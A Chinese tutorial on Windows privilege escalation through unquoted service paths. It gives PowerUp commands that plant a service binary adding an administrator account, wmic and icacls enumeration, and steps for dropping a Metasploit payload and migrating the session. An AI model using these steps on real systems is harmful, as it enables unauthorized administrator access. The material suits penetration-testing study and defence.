[windows提权] 详解-可信任服务路径提权

简介: "包含空格但没有引号的服务路径",利用windows解析文件路径的特性,如果一个服务的可执行文件路径热设置不当,攻击者可构造对应的可执行文件,从而利用提权,powerup的Get-ServiceUnquoted模块、配合MSF,可以自动化帮我们完成提权

可信任服务路径提权

①简介

"包含空格但没有引号的服务路径",利用windows解析文件路径的特性,如果一个服务的可执行文件路径热设置不当,攻击者可构造对应的可执行文件,从而利用提权,powerup的Get-ServiceUnquoted模块、配合MSF,可以自动化帮我们完成提权


②提权操作

1、安装一个存在漏洞的服务环境

https://www.exploit-db.com/exploits/24872



-使用Powerup:

1、用相应模块寻找问题路径


powershell -exec bypass "import-module .\powerup.ps1;Get-ServiceUnquoted"


2、根据AbuseFunction给出的进行利用


powershell -exec bypass "import-module .\powerup.ps1;Write-ServiceBinary -Name 'ScsiAccess' -Path 'C:\Program Files (x86)\Photodex\ProShow Producer\ScsiAccess.exe'"

可以看到是创建了管理员用户john,密码为Password123!


3、等待服务重启,用户添加成功


net user


如果权限能手动停止、启动服务可执行:



sc stop 服务名  #停止服务sc start 服务名  #启动服务



-配合MSF和WMIC:

1、拿到一个不是最高权限的会话


getuid


2、进入shell会话,用wmic枚举可能存在漏洞的路径


wmic service get name,displayname.pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\windows\\" | findstr /i /v """


成功找到一个,会按照如下顺序执行程序:

C:\Program.exe

C:\Program Files(x86)\Photodex\ProShow.exe

C:\Program Files(x86)\Photodex\ProShow Producer\ScsiAccess.exe


详细解析一下:

我们根据wmic查询的结果,发现有一个exe文件的路径存在问题,此exe的全路径共有三个空格,那么就会按照:第一个空格断开,拼接exe直接执行,就是比如:C:\Program[空格]xxxxx\xxxx.exe那么空格后面的会被忽略,直接将Program拼接exe作为一个可执行程序执行,如果没有找到,那么就从第二个空格断开,再拼接exe执行,以此类推,实际情况可能就得看哪个目录有上传权限,再进行深入的利用了。



3、查看目录权限,用windows自带的icacls


icacls "文件夹路径"

参数解析:

(M):修改

(F):完全控制


可以看到,是Everyone,即具有完全控制权限



4、然后upload一个msf的payload到相应目录,并重命名为上面可能执行的文件名


5、等待服务重启,MSF开启监听,成功上线


但是这个会话很不稳定,所以第一时间进行进程迁移


run post/windows/manage/migrate


再次查看权限:


getuid

目录
相关文章
|
1月前
|
Linux Shell Windows
通过Linux挂载Windows端NFS服务实现板端Linux传输文件到PC
通过Linux挂载Windows端NFS服务实现板端Linux传输文件到PC
|
1月前
|
存储 安全 数据安全/隐私保护
Windows部署WebDAV服务并映射到本地盘符实现公网访问本地存储文件
Windows部署WebDAV服务并映射到本地盘符实现公网访问本地存储文件
274 0
|
2月前
|
Java Unix 应用服务中间件
使用java service wrapper把windows flume做成服务
使用java service wrapper把windows flume做成服务
|
2月前
|
JavaScript Windows Python
Windows DOS进入指定盘符(磁盘路径)
Windows DOS进入指定盘符(磁盘路径)
54 1
|
2月前
|
Windows
修改Windows服务的配置
修改Windows服务的配置
|
3月前
|
Arthas 监控 Java
Arthas 可以用于监控和诊断在 Windows 系统下部署的 Tomcat 服务
Arthas 可以用于监控和诊断在 Windows 系统下部署的 Tomcat 服务
181 2
|
29天前
|
Shell Windows
Windows服务器 开机自启动服务
Windows服务器 开机自启动服务
14 0
|
4月前
|
网络协议 安全 文件存储
Windows本地搭建WebDAV服务并使用内网穿透远程访问【无公网IP】
Windows本地搭建WebDAV服务并使用内网穿透远程访问【无公网IP】
|
4月前
|
监控 Linux 定位技术
Linux【环境部署 01】NTP时间服务器搭建及Linux+Windows客户端使用(一篇学会使用NTP服务)
Linux【环境部署 01】NTP时间服务器搭建及Linux+Windows客户端使用(一篇学会使用NTP服务)
688 0
|
7天前
|
网络协议 安全 测试技术
Windows安装禅道系统结合Cpolar实现公网访问内网BUG管理服务
Windows安装禅道系统结合Cpolar实现公网访问内网BUG管理服务